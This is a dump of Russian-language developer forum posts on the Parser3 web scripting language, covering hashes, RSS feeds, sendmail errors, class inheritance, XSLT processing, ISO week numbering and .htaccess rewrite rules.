Может есть ключик какой-то, указать в теле файла, который скажет парсеру выдать документ клиенту \"как есть\" (без обработки)?"
"61747","но что мешает указать RemoveHandler для конкретного файла"
"61749","^f.menu{\
$f.123\
}\
как сделать чтобы небыло одинаковых?"
"61750","отсортируйте табличку по нужному вам полю, переберите строки с помощью menu. Запоминайте текущее значение ячейки в переменной, переходя к следующей строке сравнивайте содержимое переменной с ткущей строкой. Если совпадают - пропускайте.\
\
Если таблица выбирается из SQL-базы, вам поможет слово DISTINCT или  GROUP BY в запросе. Как и куда их вставлять, расскажет документация по вашей базе данных."
"61752","Он определяет то, что [b]должно[/b] быть в вашей строке, а не наоборот.\
\
вы хотите пойти методом исключений? Как вы тогда опишете. что такой ситуации быть не должно - 5****10/*/y ?"
"61753","[code]$hData[^tData.hash[$sFieldName][$.distinct(1)][/code]\
Получим хеш с уникальными значениями поля $sFieldName."
"61755","Очень неприятная ситуация. Может кто знает как ее разрулить?\
\
Если при отправке письма Парсером ([code]^mail:send[...][/code]) подставить в качестве адреса отправителя ([code]$.to[адрес@почты][/code]) несуществующий адрес, то парсер выдает ошибку:\
\
[code]'/usr/sbin/sendmail' reported problem: UNKNOWN (69)[/code]\
\
И отправлять письмо не собирается. \
\
Это у меня сейчас почему-то происходит (причину не смог пока выяснить). На старых сайтах, где парсер тот же, но другое ПО сервера, все работает, то есть почта с несуществующего адреса отсылается.\
\
Иногда неизвестен реальный адрес отправителя. И хочется отослать письмо. Как быть в этом случае?"
"61756","Парсер тут ни при чём, на неправильный адрес ругается sendmail. Более того, подставлять неправильный адрес как-то неэтично и попахивает спам. Правильнее всего в поле From: подставлять адрес робота, а e-mail автора указывать в поле Reply-To:"
"61758","т.к. схема работы с данными, да и сами данные имеют схожий характер не вижу смысла городить еще один метод.\
\
Кроме того, таким образом появиться возможность использовать единый механизм поиска.... но не об этом речь.\
\
1.\
Как оказалось в блогах (да и некоторых форумах) поле тема используется только для главного поста-сообщения. В комментариях, как правило, пользователи игнорируют это поле. Однако, пользователи, в силу форума разработчиков, привыкли к древовидной структуре, в которой основным является прежде всего тема комментариев. При этом само сообщение часто отсутствует. По это причине у меня для \"тел\"-текста сообщений используется отдельная таблица.\
\
Однако, есть желание от нее отказаться и присовокупить ее к основной таблице.\
\
Для тех случаев, когда необходимо выводить \"заголовки\" комментариев есть мысль в качестве заголовка использовать первую строчку текста комментария.\
\
2.\
Есть желания добавить рейтинг для постов-сообщений и их комментариев. У кого есть опыт в таких вещах и какие есть подводные камни.\
\
Надо бы продумать еще и возможность ведения \"рейтинга\" для авторов. Пока мысль только одна - использовать [url=\"http://www.stanford.edu/~sdkamvar/papers/eigentrust.pdf\"]EigenTrust метод[/url], однако, возможно это и не лучший метод?"
"61759","некорректные формулы наподобие XY перестали проходить валидацию"
"61761","Привет всем!\
\
Кто знает методы подсчета нагрузки на сервер написанными скриптами?\
\
Чтобы иметь свои данные против данных хостинга, который в последнее время совсем достал сообщениями о перегрузке. Дошло до того, что я только что поставил свой голый движок, на свежий домен и тут же получил сообщение о перегрузке. Перегрузка была в результате того, что были 287 запросов в 15-минутный промежуток. Здесь не ясно, можно ли сделать перегрузку этими 287 запросами и не ясно почему на других моих сайтах перегрузок нет, хотя там куда больше посетителей и движок отягощен данными и включенными приложениями.\
\
Хостер подсчитывает нагрузку в процентах от общей загрузки процессора. Как мне самому замерять пока не ясно."
"61762","[quot]\
... у меня для \"тел\"-текста сообщений используется отдельная таблица.\
\
Однако, есть желание от нее отказаться и присовокупить ее к основной таблице.\
[/quot]\
\
было аналогично, но я давно их объединил.\
+ теперь можно использовать mysql fulltext search по двум полям (его невозможно использовать по двум столбцам _разных_ таблиц)\
+ запросы проще (нет join)\
+ структура БД проще, без FK (читай mysql myisam) элементарно поддерживается целостность данных (не забудишь удалить данные из связанной таблици), упрощается import/export данных\
- как-то читал рекомендации от mysql об отделении текстовых полей\
\
\
[quot]\
Для тех случаев, когда необходимо выводить \"заголовки\" комментариев есть мысль в качестве заголовка использовать первую строчку текста комментария.\
[/quot]\
\
не поддержу.\
это суть -- свой новый тип разметки, причём очень неочевидный.\
кроме этого, чтобы вывести первые строчки придется доставать сообщения целиком и потом ковыряться в них match-ем (или писать специфичные запросы для разных sql серверов)"
"61763","Ну заведите для робота адрес или укажите свой."
"61765","Он разрешает занимать максимум 2.5 % от нагрузки на сервер. Все что выше этого предела и есть перегрузка.\
\
Таблица нагрузки выглядит следующим образом:\
\
 2007-08-01 15:45:03    2007-08-01 16:00:03    3.17 %    0.95 min    12.9   \
 2007-08-01 15:00:07    2007-08-01 15:15:04    1.64 %    0.49 min    11.24   \
 2007-08-01 14:45:02    2007-08-01 15:00:07    5.17 %    1.56 min    16.83   \
 2007-08-01 14:30:02    2007-08-01 14:45:02    0.9 %    0.27 min    12.33  \
\
Последние два столбца: Процессорное время и LA сервера."
"61766","1) Очень хорошая мысль. Я делал что-то подобное. (Посмотрите \"свёрнутые\" комментарии на http://www.volgograd.ru/forum/love/13723/)\
\
Обна большая таблица это не всегда хорошо. Эти вы выбрали MySQL. то это скорее всего на данном этапе неизбежность :)\
\
2) Голосовалки всегда просты, а вот рейтингам лучше пока не забивайте голову. На первом этапе можете раздавать медальки на основе количества постов и даты регистрации/последнего захода\
\
Огромный склад информации по репутационным моделам есть в денвниках на npj.ru, например http://npj.ru/kuso/343717"
"61773","1. Всё (касательно сообщений) в одну таблицу, не смысла на таком примитиве городить огород.\
2. В рейтингом сложнее. По-хорошему, надо считать его хитрее, чем просто среднее арифметическое, учитывая недобросовестные просадки и накрутки. Однако, думаю, заморачиваться не стоит, юзеры не очень любят оценивать каждый пост. Проще сделать систему +/-, более человечный вид для \"+1\" постов. Посмотрите, например, как сделано на хабре (там, правда, свои загибы в виде кармы и прочего)."
"61774","Для рейтинга я не собираюсь ничего придумывать. Хабру, как форму блога я и беру за основу. Пользуюсь уже некоторое время и структура/механизм, применяемый там, себя оправдывает.\
\
Насчет таблиц, я согласен. Однако, возникли сомнения, поэтому счел должным спросить."
"61775","Спасибо за ссылки. По крайней мере, сомнений меньше."
"61776","[quote]кроме этого, чтобы вывести первые строчки придется доставать сообщения целиком и потом ковыряться в них match-ем (или писать специфичные запросы для разных sql серверов)[/quote]\
Да, я об этом думал.\
Единственное, что мне пока приходит в голову, это \"запихивать\" в поле Title первую строчку (или первые 250 символов) (т.к. поле, все-равно останется) на этапе добавления комментария в базу."
"61778","Возможно кому нибудь пригодится.\
\
Столкнулся с ситуацией нехватки памяти на результирующий xDoc в проекте, достаточно большая лента данных, пагинацию использовать было нельзя. XDoc применялись исключительно XSLT для трансформации на конечном этапе. Очистка переменных и ^memory:compact[] не спасали. Лимит на парсер был жестко ограничен. + Данные должны были расти. FreeBSD, java не установлена.\
\
В итоге применил следующее решение http://www.freebsd.org/cgi/cvsweb.cgi/ports/textproc/sablotron/\
админы установили из портов\
метод:\
[code]\
####################################################################################################\
@parseSablot[s;sTemplate][f;result]\
^s.save[/../data/cache/sablot/${status:pid}.xml]\
$result[^file::exec[/../exec/sabcmd.sh;;-c $env:DOCUMENT_ROOT/../data/cache/sablot/${status:pid}.xml /dev/stdout ${env:DOCUMENT_ROOT}$sTemplate]]\
^if(!$result.status){\
	$result[$result.text]\
}{\
	^throw[Sablot;$result.stderr]\
}\
#end @parseSablot[s][f;result]\
[/code]\
sabcmd.sh - простенький командный файл отдающий все параметры sabcmd\
\
вызывается приблизительно так\
[code]\
^if($hPrint.document.system.sablot){\
	$result[^self.parseSablot[$s;$hPrint.document.system.template]]\
	}{\
	$xDoc[^xdoc::create{$s}]\
	$xDoc[^xDoc.transform[$hPrint.document.system.template][$hPrint.document.system]]\
	$result[^xDoc.string[]]\
}\
[/code]\
\
В варианте с саблотом XDoc не создаются.\
Теперь нюансы, xslt переменные переданные хэшем строк из парсера в трансформ в sablot конечно же не попадут, шаблоны должны быть к этому готовы. Файл с энтити подключаю так:\
[code]\
<!DOCTYPE document SYSTEM \"$env:DOCUMENT_ROOT/symbols.ent\">\
[/code]\
довольны и парсер и sablot\
\
Время выполнения увеличивается на 50-60мс видимо изза файловых операций, в памяти выигрываем.\
\
С удовольствием прочитаю альтернативы\
\
PS: да еще саблот не поддерживает exslt:function"
"61780","я получил большое удовольствие.\
\
в частности, то, что двунаправленная репликация (и более сложные схемы) в списке основных приоритетов развития (=не за горами), очень и очень радует.\
\
также бесконечно приятно увидеться с вами и дорогим G_Z после стольких лет телепатического общения.\
\
а в целом первая встреча MUG прошла, как и ожидалось, бестолково ;)"
"61781","Будем надеяться, что инициатива по MUG не загнется - всякий конструктивный обмен мнениями полезен.\
\
p.s. И насчет 10 летия Парсера тема интересная... :)"
"61782","Симметрично, Александр!\
\
Хоть и бестолково, всё же начало положено.\
Товарищи организаторы приглашали желающих выступить с докладами, так что можете поведать миру про свои распределённые системы ;).\
Думаю, всем было бы интересно.\
\
GUID тоже не остался незамеченным, а значит — надежды есть.\
\
Про 10-летие помним и надеемся."
"61783","дай Бог в пустой башке моей чего отложится...\
\
На проект — с интересом посмотрим ;)."
"61784","Неудается послать письмо с такого адреса \
\
Имя человека <mail-cheloveka@mail.ru>\
\
Выдается такая ошибка:\
\
'/usr/sbin/sendmail' reported problem: UNKNOWN (69)\
\
Раньше можно было. А почему теперь нельзя?\
Собственно вопрос заключает в том, а чья вина, хостера или Парсера?"
"61785","/usr/sbin/sendmail находится в ведении хостера. Возможно, изменилась политика по борьбе со спамом?"
"61786","А можно это как-нибудь обойти средствами Парсера?"
"61787","и sendmail, и SMTP, переключитесь на использование SMTP. Может быть, там настройки другие.\
\
Но лучше разобраться с техподдержкой хостера."
"61788","Создайте ящик noreply@доменвашегосайта.ru и указывайте его в качестве обратного. Иначе рискуете получать отлупы от осторожных демонов из-за подозрения в спаме."
"61790","- изменения коснулись в основном Node.p\
- добавились \"украденные\" у smalex-а и немного переделанные классы ArrayList и ArrayListEnumerator"
"61791","http://www.parser.ru/examples/rss/"
"61792","для ArrayList можно советую использовать специальный оператор foreach, это намного удобней.\
\
[code]\
\
$names[^ArrayList::new[]]\
^names.Add[misha]\
^names.Add[smalex]\
\
^foreach[item;$names]{\
	My name is $item\
}\
\
\
@foreach[v;items;code][e]\
$e[^items.getEnumerator[]]\
^while(^e.MoveNext[]){ \
	$caller.$v[^e.Current[]]\
	$code \
} \
###\
[/code]\
\
если foreach у вас уже занят то можно использовать имя foreachList"
"61793","в конкретном случае мне подобный foreach не помог бы, т.к. при выводе мне надо делать что-то дополнительное: изменить порядок и вывести только N элементов.\
\
в общем случае понятно, что подобный foreach для объектов, для которых написаны enumerator-ы, удобен. однако в виду того, что это у меня пока единственное применение подобного подхода -- такого оператора у меня пока нет :)\
\
но у меня в Lib.p есть:\
[code]\
@foreach[hHash;sKeyName;sValueName;jCode;sSeparator;sDirection]\
[/code]\
\
который может быть переделан в \
[code]\
@foreach[uObject;sKeyName;sValueName;jCode;sSeparator;sDirection]\
[/code]\
\
и для $uObject is \"hash\" выполнять старый код, а иначе пытаться получить enumerator и... см. выше :)\
\
правда появятся некоторые проблемы с сортировкой..."
"61794","Вы невнимательно читаете.\
\
[quote]Создайте ящик noreply@доменвашегосайта.ru и указывайте его в качестве обратного. Иначе рискуете получать отлупы от осторожных демонов из-за подозрения в спаме.[/quote]\
\
Нужно подставить ИМЯ ОТПРАВИТЕЛЯ, а это не удается. То что вы советуете не решает эту задачу.\
\
То есть нельзя даже знаки \">\" и \"<\" ставить. Например попытка вписать в поле FROM такую строку \"<mail@mail.ru>\" выдает ошибку. А у меня уже сколько лет на разных серверах мои сайты так посылают письма. Может правила описания этого поля изменились?"
"61795","тогда слушайте Sanja v.2 или попробуйте альтернативную конструкцию\
\
[code]mail@example.com (Vasya Pupkin)[/code]"
"61796","парсер сам ничего не делает с этими email (ну... разые что переводы строк у них меняет на пробелы).\
\
он отдаёт их sendmail-у, у которого могут быть свои собственные видения.\
\
в данном случае вас посылает sendmail. на другом сервере настройки sendmail-а могут отличаться и это может работать (согласно RFC это работать должно).\
\
исправить это парсером не представляется возможным."
"61799","в стандарте RSS куда больше полей. Вот, например, что получилось у меня:[code]@USE\
FeedRss.p\
\
@main[]\
\
# Создаём RSS-feed:\
$oFeed[\
 ^FeedRss::create[\
  $.title[Заголовок]\
  $.link[http://$env:SERVER_NAME/]\
  $.description[Подробное описание.]\
  $.docs[http://blogs.law.harvard.edu/tech/rss]\
  $.language[ru]\
  $.copyright[Copyright (c) Имя Фамилия]\
  $.managingEditor[email@адрес.ру]\
  $.webMaster[email@адрес.ру]\
# Ссылка на картинку:\
  $.image[\
   <title>Совсем короткий заголовок</title>\
   <url>http://$env:SERVER_NAME/ссылка/на/картинку.jpg</url>\
   <link>http://$env:SERVER_NAME/</link>\
   <width>100</width>\
   <height>100</height>\
  ]\
  $.ttl[10]\
 ]\
]\
\
# Добавляем items (можно повторить вызов столько раз, сколько нужно):\
^oFeed.addItem[\
 $.title[Тестовая запись, просьба не обращать внимания]\
 $.author[Имя Фаамилия &lt^;email@адрес.ру&gt^;]\
 $.guid[http://$env:SERVER_NAME/table/test1/]\
 $.link[http://$env:SERVER_NAME/table/test1/]\
# Дата в часовом поясе GMT, позаботьтесь о roll!\
 $.pubDate[^date::create(2002;10;02;0;0;1)]\
 $.comments[]\
 $.description[Это тестовая запись. Скоро здесь будет полноценная RSS-трансляция.]\
]\
\
# Выводим XML:\
^oFeed.print[\
 $.sVersion[2.0]\
# Для того, чтобы feed был валидным, нужно выводить время в GMT\
 $.sTZ[GMT]\
# Будет выведено не более этого числа items'ов:\
 $.iItemLimit(10)\
 $.bOrderItems(true)\
# На время отладки можно заменить false на true в следующих двух строках:\
 $.bOmitXMLDeclaration(false)\
 $.bOmitHTTPHeaders(false)\
]\
#end @main[]\
[/code]\
\
http://feedvalidator.org не ругался. Яндекс.Лента тоже такой feed кушает, картинку рядом с записью показывает."
"61802","существует ли такой синтаксис?\
в метод MyMethod1 приходит параметром такой хеш:\
\
[code]@main[]\
$MyHash[\
	$.key1[value1]\
	$.key2[value2]\
	$.key3[value3]\
	$.key4[value4]\
]\
^MyMethod1[$MyHash]\
\
@MyMethod1[hash][tmp_hash]\
$tmp_hash[^hash::create[$hash]\
\
#тут какие-то вычисления, в результате которых получаются числа в $var1 и $var2\
\
$tmp_hash[\
	$.key5[$var1]\
	$.key6[$var2]\
]\
^MyMethod[$tmp_hash]\
\
@MyMethod2[hash]\
[/code]\
можно ли обойтись без использования $tmp_hash и сразу передать в MyMethod2 \"старый\" хеш и пару параметров к нему в довесок?"
"61803","задача которого - показать что и как вызывать.\
все поля, описанные в rss 2.0 могут быть заданы, и мне казалось это очевидным.\
\
про GMT: по моему дата и время не обязано быть в GMT. RFC822 не обязывает их выводить в GMT.\
более того, если бы это было так, то это было бы неудбно.\
до кучи:\
http://www.rssboard.org/rss-profile#data-types-datetime\
\
т.е. согласно спецификации можно задавать дату с зонами, отличными от GMT, или даже указывать её в виде +0300\
\
однако на упомянутой выше страничке сказано и такое:\
[code]\
In a test of 18 aggregators, the only date-time values that worked in all of them took one of three forms:\
\
Thu, 09 Feb 2007 23:59:45 +0000\
Thu, 09 Feb 2007 23:59:45 -0000\
Thu, 09 Feb 2007 23:59:45 GMT\
...\
Most aggregators successfully handled the U.S. time zones defined in RFC 822 and numeric time zones that represent an exact hour.\
[/code]\
\
моё мнение: если таймзоны разрешены спецификацией и если это облегчает жизнь, то я буду их использовать. \
\
то, что какой-то арегатор не полностью поддерживает спецификацию и не понимает этого -- это его проблема, и чем меньше будут делать что-то для подобных, кривых агрегаторов, тем быстрее их доработают, чтобы они работали в соотв. со спецификацией (в общем то-же самое, что и с броузерами)."
"61804","[code]\
^MyMethod[\
	^hash::create[$hash]\
	$.key5[$var1]\
	$.key6[$var2]\
]\
[/code]\
\
однако:\
- слить два хеша и результирующий хеш перетать в метод так не получится\
- создание хеша должно быть до добавления в него новых элементов"
"61806","[quote]все поля, описанные в rss 2.0 могут быть заданы[/quote]с  image было не очень понятно.[quote]the only date-time values that worked in all[/quote]Таймзона MSK и MSD - исключительно местная придумка, в спецификации [url=\"http://asg.web.cmu.edu/rfc/rfc822.html#sec-5.1\"]не упоминается.[/url] Так что либо использовать \"+0300\", как я всегда делал (но как это применить, используя этот класс, не знаю) или прокручивать дату в GMT."
"61808","Собственно вопрос: можно ли вот это как то сократить?\
\
[code]^if(def $var){\
	^if(!def $result){\
		$result[^method1[$var]]\
		^if(!$result){\
			$result[^method2[$var]]\
			^if(!$result){\
				$result[^method3[$var]]\
				^if(!$result){\
					$result[^method4[$var]]\
					^if(!$result){\
						$result[^method5[$var]]\
					}\
				}\
			}\
		}\
	}\
}\
\
^if(!def $result){\
	$result(false)\
}[/code]\
\
если можно, то как?"
"61809","если subj то можно например вложенный if упростить\
[code]$result(def $var && (^method1[$var] || ^method2[$var] || ^method3[$var] || ^method4[$var] || ^method5[$var]))[/code]"
"61811","вот такой код - пытаюсь передать методу2 число и хеш:\
[code]@main[][MyHash]\
	$MyHash[\
		$.-2[$.value(-2)]\
		$.-1[$.value(-1)]\
		$.0[$.value(0)]\
	]\
	^MyMethod1[$MyHash]\
\
@MyMethod1[hash]\
	^MyMethod2[\
		1;\
		^hash::create[$hash]\
		$.1[$.value(1)]\
		$.1[$.name[name]]\
	]\
\
@MyMethod2[id;hash][i]\
	^for[i](-2;$id){\
		<br />\
		^if(def $hash.$i.value){\
			$hash.$i.value\
			$hash.$i.name\
		}{\
			no value for i = $i\
		}\
	}[/code]\
\
получаю:\
[quote]\
-2 \
-1 \
0 \
no value for i = 1[/quote]"
"61812","[code]$.1[$.value(1)]\
$.1[$.name[name]][/code]\
\
Вы присваиваете одному и тому же элементу два значения, поэтому второе перезаписывает первое."
"61814","[code]\
$tMethod[^table::create{sName\
method1\
method2\
...}]\
$result[]\
\
^if(def $var){\
	^tMethod.menu{\
		^if(!$result){\
			$jMethod[$$tMethod.sName]\
			$result[^jMethod[$var]]\
		}\
	}\
}\
...\
[/code]\
\
примерно аналогичное можно написать с .locate, где в выражении будет создание имени вызываемого метода и вызов. но понатность кода будет сильно падать.\
\
1. мне кажется, что ошибка была допущена раньше. возможно стоит пересмотреть методы methodX\
2. не надо делать краткость записи самоцелью. очень часто страдает понятность кода\
3. hash/false -- плохая идея. лучше сделать так, чтобы метод возвращал данные одного типа."
"61815","Огромное спасибо: сам понимаю все минусы данного подхода, хотя совсем мало знаком, как с программированием вообще, так и с веб-программированием в частности... Пытался найти варианты через перебор строк таблицы с названиями методов, использование ^process{}, но увы, не нашел, но буду стараться расширить видение имеющихся возможностей языка... все оказалось гораздо проще: ни в документации, ни в примерах, по-моему, не встречается $$... что ж,тем интереснее...\
\
  В моем конкретном случае речь идет о разборе строки user_agent, которую мне не удалось уложить в определенные рамки: она в большинстве случаев имеет общие свойства, в отдельных проявлениях возвращает совсем иное, нежели то, для чего предназначена, плюс ее \"подделка\"... В общем и целом, хотелось получить возможность определять все свойства агента, которые она способна передать... Класс Detect очень помог, но хотелось получить большее... Еще раз огромное спасибо...\
\
P.S. можно ли будет отправить класс на рецензию? жизненно важно получить пару-тройку пистонов:)"
"61816","[code]\
$.1[$.value(1)]\
$.1.name[name]\
[/code]"
"61819","В auto.p в методе @main[] вызываются методы инициальзации (настройки, сессия) и ^html[].\
\
Структура HTML задается примерно так:\
^head[]\
^body[]\
^foot[]\
\
Затем в файле xxx.html задается переопределяется @body[] и вызываются необходимые функции из файлов-шаблонов.\
\
Будет ли эта схема нормально работать и допустит ли она улучшение? Есть какие-нибудь советы, критика? Жду с нетерпением.\
\
ЗЫ. хттп://парсер.прос.ру больше не предлагать! =)"
"61822","оно? :)"
"61823","что в документации не понятно про caller и про self?"
"61824","в документации все понятно и про $caller и про $self, есть сложности с понимание $caller.self\
\
что значит: ...можно узнать, кто вызвал вызвавший описываемый метод или оператор, обратившись к $caller.self...\
\
какой тип данных в ней содержится?"
"61826","Руки не доходили сваять свой..."
"61827","Для \"движка\" такой подход слишком неудобен (IMHO, пробовал)"
"61828","На некоторых онлайн чекерах выводится 404 Not Found. Но на некоторых — 302 Found.\
\
На странице такой код:\
[code]$response:status[404 Not Found][/code]\
\
Либо такой:\
[code]$response:status(404)[/code]\
\
Проверял на всех чекерах оба варианта. Не пойму какой правильный, потому как Яндекс и Гугл упорно индексирует 404-ые страницы."
"61834","интересует следующее:\
1.переменная $caller.self позволяет определить контекст вызова метода или оператора, при этом даже можно определить является ли этот самый контекст допустимым, но... можно ли из этой переменной получить, например, название класса откуда пошел вызов, а не только ссылку...\
2.в случае обращения к методу, оператору внутри определенного класса $caller.self позволяет определить, идет ли обращение внутри класса, либо нет... что произойдет если к методу, оператору обратиться из дочернего класса, будет ли такой контекст идентичен контексту вызова внутри родительского класса?\
\
Спасибо"
"61835","1. нельзя (в версии из cvs -- можно, т.к. там в добавок к .CLASS есть .CLASS_NAME). однако имейте в виду, что использовать подобное стоит только с простыми классами (другими словами помним про найледование). например если у объекта класса xnode спросить ^if($xNode is \"xdoc\"){true}{false}, то ответ будет true (для is \"xnode\" тоже true), однако $xNode.CLASS_NAME вернёт \"xnode\", и некоторая логика может отработать не так как требуется.\
\
2. не знаю, но можно попробовать. вы говорите о \"дочернем классе\". вы имеете в виде именно дочерний _статический_ класс или всё таки объект дочернего класса? если речь про объект, то узнать где именно был описан метод (в родительском классе или в дочернем) -- нельзя."
"61837","Удаленная работа на парт тайм. Оплата за каждое выполненное задание. Требуется наличие портфолио разработанных сайтов.Обращайтесь на e-mail: abbukibuki@gmail.com и icq 308251596"
"61839","надо убрать двоеточие."
"61840","не получается наследование, подскажите как правильно сделать?\
[code]@CLASS\
test\
\
@BASE\
file\
\
@create[format;name;text]\
^BASE::create[$format;$name;$text][/code]\
такой вот код:[code]@USE\
test.p\
\
@main[]\
$object[^test::create[text;filename;текст]][/code]\
выдает такую ошибку:[code]test may not be overwritten with file, store it to variable instead[/code]"
"61843","однако вы ведь прочли [url=\"/forum/?id=17733\"]это[/url]?"
"61844","В файле FeedAbstract.p есть метод\
[code]\
###########################################################################\
@getType[uValue]\
^if($uValue is \"string\"){\
	$result[string]\
}{\
	^if($uValue is \"date\"){\
		$result[date]\
	}{\
		^if($uValue is \"int\"){\
			$result[int]\
		}{\
			^if($uValue is \"double\"){\
				$result[double]\
			}{\
				^if($uValue is \"bool\"){\
					$result[bool]\
				}{\
					^if($uValue is \"hash\"){\
						$result[hash]\
					}{\
						^if($uValue is \"table\"){\
							$result[table]\
						}{\
							^if($uValue is \"ArrayList\"){\
								$result[ArrayList]\
							}{\
								$result[]\
							}\
						}\
					}\
				}\
			}\
		}\
	}\
}\
#end @getType[][/code]\
\
мне кажется, что тут \"традиционнее\" использовать ^switch[] или ^return[] чтобы не было вложенностей\
\
пример со switch:\
\
[code]$result[^switch(true){\
		^case($uValue is \"string\"){string}\
		^case($uValue is \"date\"){date}\
		^case($uValue is \"int\"){int}\
		...\
		^case[DEFAULT]{}\
	}][/code]"
"61845","механизм преобразования типов скорее всего будет изменён или выброшен в том виде, в каком он сейчас существует."
"61847","в инете где-то видела вроде скрипт для очистки текста от тегов... жалко, что вспомнить не могу, где, а то бы кинула ссылочку : ("
"61848","засмотрелся на документацию, а там написано ^BASE::конструктор[...]...\
\
ссылку смотрел, толком ничего не понял кроме того что от системных классов желательно не наследоваться без крайней на то необходимости, у меня как раз такой случай. В том смысле что было бы очень удобно.\
\
Вобщем, попробовал походить по граблям, пока выяснил вот что:\
\
1. не получается объявить ни одно дополнительное поле ни в классе наследнике ни в его объекте, пишет[code]element can not be stored to stateless_class[/code]\
\
2. поля не наследуются либо не видны\
[code]$object.name\
$object.text\
# ничего не выводят[/code]\
\
3. методы вроде работают, это хорошо"
"61851","Правильно ли я понимаю, что:\
1. Геттер без сеттера работает только в случае, когда в контексте вызова уже известны значения базовых свойств объекта, и он, на их основе, способен определить значение нового свойства, которым может обладать объект, и выдать его на гора?\
2. Если методы работают в паре, то геттер выдает результат только в контексте вызова сеттера или по-другому, например, если значение свойства было установлено внутри класса, то тогда снаружи его не получить?\
\
и еще один вопрос:\
\
3. Если объект был создан конструктором класса, вызванным снаружи, а свойства заданы изнутри, при этом объект действительно существует, но  значения его свойств при обрашении к акссессрору снаружи не доступны, аксессор в таком случае может обратиться к конструктору, но объекта он там не найдет: где его искать? или: обратившись к конструктору за значениями свойств, тот в ответ может их сообщить: создав новый экземпляр класса с теми же значениями свойств, тогда что происходит с существующим или он, зная, где находится объект заново его не создает, а только открывает к нему доступ аксессору?"
"61852","а попробовать не судьба?"
"61853","Помогло перемещение mod_bandwidth вначало списка AddModule/LoadModule, т.е. до остальных модулей.\
Громадное спасибо!"
"61854","У меня есть переменная, содержащая набор узлов:\
\
[code]\
<xsl:variable name=\"NodeList\" select=\"document( 'document.xml' )/NodeList\" />\
[/code]\
\
И в этом набор узлов мне нужно средствами XSL добавить еще элемент.\
\
Это вообще возможно? Читаю доку и не могу сообразить ничего, кроме как тупо проходиться по всем элементам и делать <xsl:element />, но это как-то сильно не рационально, как мне кажется )"
"61855","то что вы делаете, а именно, \"структура\" предлагаемого вами движка  описано базовыми уроками. Прочитайте их и будет вам счастье."
"61857","Я же делаю движок - у него должна быть гибкая структура, а в примерах довольно жесткая привязка, имхо."
"61858","например что-то вроде[code]select=\"document( 'document.xml' )/NodeList | /ЕщеОдинЭлемент\"[/code]"
"61860","Кроме того, надо не просто объединить два набора узлов, а к первому набору добавить элемент и в него уже вложить второй набор."
"61861","Возможно ли как то явно создать дату в соответствии с английским календарём?\
\
Возникла проблема из-за того что в русском календаре воскресенье это как известно не начало новой недели.\
\
Например 14 сентября и 17 сентября сего года в русском календаре приходятся на одну неделю, а вот в английском на разные, но после создания дат:\
[code]\
$dt_in[^date::create(2007;09;14)]\
$dt_out[^date::create(2007;09;17)]\
[/code]\
получается что:\
[code]\
^if($dt_in.week == $dt_out.week){true}{false}\
[/code]\
вернет true, т.к. 37 = 37.\
\
Еще раз вопрос, можно ли как-то заставить парсер выводить номер недели в соответствии с английским календарём по умолчанию?\
\
Для тех кого интересует за чем все это надо:\
Я вывожу календарь в который попадают только те недели в которых что-то произошло, т.е. в данном случае должен быть выведен календарь с 2-мя неделями (на английский манер), а получается только одна...\
[code]\
^if($dt_in.week < $dt_out.week){\
	$week($dt_in.week)\
	^for[i]($week;$dt_out.week){\
# тут jion-ом собираю все недели, которые попадают в \
# промежуток между $dt_in.week и $dt_out.week\
	}\
}{\
	$week[^date:calendar[eng]($dt_in.year;$dt_in.month;$dt_in.day)]\
}[/code]"
"61862","[quot]\
Еще раз вопрос, можно ли как-то заставить парсер выводить номер недели в соответствии с английским календарём по умолчанию?\
[/quot]\
\
\
http://www.parser.ru/docs/lang/datefields.htm\
[quot]\
$date.week номер недели в году (согласно стандарту ISO 8601)\
[/quot]\
\
http://en.wikipedia.org/wiki/ISO_8601\
[quot]\
A week date specifies a so-called ISO year in the format [YYYY], a week number in the format [WW] prefixed by the letter 'W', and the weekday number, a digit [D] from 1 through 7, [b]beginning with Monday and ending with Sunday.[/b]\
[/quot]\
\
=> ответ нельзя. для решения вашей задачи вам нужно написать свой собственный код (в общем там довольно простые вычисления, однако будьте внимательны: US week system отличается не только днём недели её начала...)\
\
\
[quot]\
Я вывожу календарь в который попадают только те недели в которых что-то произошло...\
[/quot]\
\
это -- не календарь, а фигня какая-то, imho. \
календарь содержит все дни указанного промежутка, без дырок."
"61863","[quote]Я же делаю движок - у него должна быть гибкая структура, а в примерах довольно жесткая привязка, имхо.[/quote]\
1. создание отдельных файлов [i]xxx.html[/i] для страниц с гибкостью не вяжется\
2. предложенная вами структура:\
^head[]\
^body[]\
^foot[]\
задает [b]жесткую[/b] привязку\
\
Если вам хочеться гибкости, то нужно для начала делать все на XML/XSL либо делать свой обработчик шаблонов на Parser\
\
3. Хорошим \"примером\" являеться любой работающий сайт-движек: качайте и разбирайтесь как оно работает\
\
3.1. Ежели вам разбираться с чужими сайтами не хочеться а желаете сразу понять суть, то разговор вести нужно об архитектуре а не о:\
[quote]^head[]\
^body[]\
^foot[][/quote]"
"61864","а по ходу внедрения сами поймете что нужно\
\
Судя по неприятию публиковавшихся здесь описаний и собранных движков, вы уже рассмотрели все их плюсы и минусы, так что какие ответы вы ждете на форуме мне непонятно."
"61868","Добрый день!\
Хочу запустить cgi-программу. при попытке запуска файла file.cgi\
\
Текст программы (пути верны!):\
[code]\
#!/home/cgi-bin/parser3.cgi\
Проверка: ^eval(2*2)\
[/code]\
\
Вместо исполнения кода программы, в браузере выводится стандартное сообщение, будто я вызывал не file.cgi а непосредственно parser. То есть \"Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\""
"61870","[code]#!/home/cgi-bin/parser3.cgi /home/cgi/script.p[/code]"
"61871","В таком случае выходить 404 ошибка... получается что не парсер открывает скрипт, а ищется файл \"#!/home/cgi-bin/parser3.cgi /home/cgi/script.p\" которого ессесно, нету("
"61872","Не понятно, зачем вообще так делать, если \"запускать\" скрипт через веб.\
\
Мне-то казалось, что вы хотите запускать такие скрипты через cron или из командной строки на сервере.\
\
Если через http, то и не зачем изголяться: .htaccess и точка."
"61874","Такая проблемы: Парсер отказывается обрабатывать код с именными и числовыми заменами. Например, при использовании в коде символа неразрывного пробела — [b]&nbsp;[/b] или символа знака «минус» — [b]&minus;[/b] Парсер ругается и пишет следующее: «'menu' method of table (table) accepts maximum 2 parameter(s) [parser.runtime]». Что я делаю не так?"
"61879","Есть тут такое правило, для дописи слеша в конец URI. Увы, доступа к конфигам нет, довольствуюсь .htaccess\
\
[code]RewriteCond %{REQUEST_URI} (.*/[^/.]+)($|\\?)\
RewriteRule .* %1/ [R,L,QSA] [/code]\
\
